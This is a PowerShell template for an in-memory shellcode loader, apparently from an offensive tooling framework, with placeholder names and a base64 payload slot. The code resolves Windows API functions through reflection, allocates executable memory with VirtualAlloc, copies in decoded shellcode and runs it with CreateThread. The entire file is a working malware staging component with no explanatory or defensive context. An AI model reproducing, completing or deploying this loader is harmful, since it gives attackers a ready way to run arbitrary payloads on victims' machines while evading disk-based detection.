function %{func_get_proc_address} { Param ($%{var_module}, $%{var_procedure}) $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure})) } function %{func_get_delegate_type} { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters}, [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void] ) $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') return $%{var_type_builder}.CreateType() } [Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}") $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length) $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null